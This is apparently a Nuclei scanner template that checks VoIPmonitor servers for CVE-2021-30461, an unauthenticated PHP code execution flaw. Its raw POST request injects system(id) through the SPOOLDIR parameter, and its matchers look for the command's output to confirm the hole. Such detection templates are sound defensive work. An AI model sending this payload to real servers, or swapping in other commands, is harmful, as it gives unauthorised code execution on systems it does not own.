id: CVE-2021-30461 info: name: VoipMonitor Pre-Auth-RCE author: shifacyclewala,hackergautam severity: critical description: Use of user supplied data, arriving via web interface allows remote unauthenticated users to trigger a remote PHP code execution vulnerability in VoIPmonitor. tags: cve,cve2021,rce,voipmonitor reference: https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/ requests: - raw: - | POST /index.php HTTP/1.1 Host: {{Hostname}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 35 SPOOLDIR=test".system(id)."&recheck=Recheck matchers-condition: and matchers: - type: word words: - "uid=" - "gid=" - "groups=" - "VoIPmonitor installation" part: body condition: and - type: status status: - 200